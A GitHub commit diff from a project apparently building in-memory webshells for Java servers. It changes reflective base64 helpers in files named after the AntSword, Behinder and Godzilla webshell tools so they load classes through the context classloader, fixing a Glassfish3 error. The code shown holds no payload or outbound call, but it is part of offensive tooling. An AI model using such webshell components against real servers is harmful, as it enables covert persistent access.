Skip to content

Commit 69f2153

Browse files
committed
fix: Glassfish3 classNotFound
1 parent 84ccc64 commit 69f2153

File tree

3 files changed

+12
-8
lines changed

3 files changed

+12
-8
lines changed

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSword.java

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -40,11 +40,12 @@ public boolean equals(Object obj) {
4040

4141
@SuppressWarnings("all")
4242
public static byte[] base64Decode(String bs) throws Exception {
43+
ClassLoader loader = Thread.currentThread().getContextClassLoader();
4344
try {
44-
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
45+
Object decoder = Class.forName("java.util.Base64", false, loader).getMethod("getDecoder").invoke(null);
4546
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
4647
} catch (Exception var6) {
47-
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
48+
Object decoder = Class.forName("sun.misc.BASE64Decoder", false, loader).newInstance();
4849
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
4950
}
5051
}

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/Behinder.java

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -90,11 +90,12 @@ public static Object getFieldValue(Object obj, String name) throws Exception {
9090

9191
@SuppressWarnings("all")
9292
public static byte[] base64Decode(String bs) throws Exception {
93+
ClassLoader loader = Thread.currentThread().getContextClassLoader();
9394
try {
94-
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
95+
Object decoder = Class.forName("java.util.Base64", false, loader).getMethod("getDecoder").invoke(null);
9596
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
9697
} catch (Exception var6) {
97-
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
98+
Object decoder = Class.forName("sun.misc.BASE64Decoder", false, loader).newInstance();
9899
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
99100
}
100101
}

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -61,22 +61,24 @@ public boolean equals(Object obj) {
6161

6262
@SuppressWarnings("all")
6363
public static String base64Encode(byte[] bs) throws Exception {
64+
ClassLoader loader = Thread.currentThread().getContextClassLoader();
6465
try {
65-
Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
66+
Object encoder = Class.forName("java.util.Base64", false ,loader).getMethod("getEncoder").invoke(null);
6667
return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
6768
} catch (Exception var6) {
68-
Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
69+
Object encoder = Class.forName("sun.misc.BASE64Encoder", false, loader).newInstance();
6970
return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
7071
}
7172
}
7273

7374
@SuppressWarnings("all")
7475
public static byte[] base64Decode(String bs) throws Exception {
76+
ClassLoader loader = Thread.currentThread().getContextClassLoader();
7577
try {
76-
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
78+
Object decoder = Class.forName("java.util.Base64", false, loader).getMethod("getDecoder").invoke(null);
7779
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
7880
} catch (Exception var6) {
79-
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
81+
Object decoder = Class.forName("sun.misc.BASE64Decoder", false, loader).newInstance();
8082
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
8183
}
8284
}

0 commit comments

Comments
 (0)